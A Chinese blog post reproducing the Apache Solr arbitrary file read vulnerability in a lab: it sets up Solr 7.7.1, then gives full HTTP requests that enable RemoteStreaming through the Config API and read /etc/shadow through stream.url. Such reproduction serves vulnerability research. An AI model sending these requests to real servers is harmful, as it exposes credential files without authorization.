发布于2022年11月4日3年前 Apache Slor 任意文件读取 Apache Slor 任意文件读取一、简介Apache Solr是一个开源搜索服务引擎,Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache-Solr任意文件读取漏洞漏洞,攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。二、影响版本Apache Slor <=8.8.1(网上已有原版本,本次测试7.7.1版本,踩踩坑)三、环境搭建1.下载版本 wget https://archive.apache.org/dist/lucene/solr/7.7.1/ 到/usr/local注:/usr/local 和/opt都是 用户级的程序目录/usr/local:用户级的程序目录,可以理解为C:/Progrem Files/ /opt:可以理解为 D:/Software 2.将文件解压到 /usr/localtar -zxvf solr-7.7.1.tgz -C /usr/localcd /usr/local/solr-7.7.1/目录下运行 bin /solr start -force ,可能出现报错,可查看该目录下熵池大小,3000基本没问题,报错也可正常启动熵池大小不足,参考该链接解决:https://www.huaweicloud.com/articles/a1a36d35760149c8394c59f04b8893c7.html启动成功后访问 http://ip+8983 端口,如下图环境已搭建成功。四:漏洞复现首先利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关,然后进行文件读取。注:默认情况下requestDispatcher.requestParsers.enableRemoteStreaming是关闭,攻击者并不能进行任意文件读取。1.创建Core在/usr/local/solr-7.7.1/server/solr/ 新建目录ceshimkdir ceshi将该路径[/usr/local/solr7.7.1/server/solr/configsets/_default/conf] 下所有文件拷贝到yycd /usr/local/solr7.7.1/server/solr/configsets/_default/confcp -r * /usr/local/solr-7.7.1/server/solr/ ceshi2.到web管理界面,添加一个core名字最好和你新建的core一个名字 ceshi,建好如下图3.获取core名称。 /solr/admin/cores?wt=json4.通过solr config 的接口构造数据包,启用RemoteStreamingPOST /solr/ceshi/config HTTP/1.1 Host: 192.168.250.77:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Content-Length: 80 Content-Type: application/json Connection: close {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 返回以下内容为成功开启RemoteStreamingHTTP/1.1 200 OK Connection: close Content-Type: text/plain;charset=utf-8 Content-Length: 150 { "responseHeader":{ "status":0, "QTime":3008}, "WARNING":"This response format is experimental. It is likely to change in the future." 5.构造数据包,利用stream.url 读取任意文件POST /solr/ceshi/debug/dump?param=ContentStreams HTTP/1.1 Host: 192.168.250.77:8983 Content-Length: 29 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Origin: http://192.168.250.77:8983 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.213.128:8983/solr/ceshi/config Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 Connection: close stream.url=file:///etc/shadow
创建帐户或登录后发表意见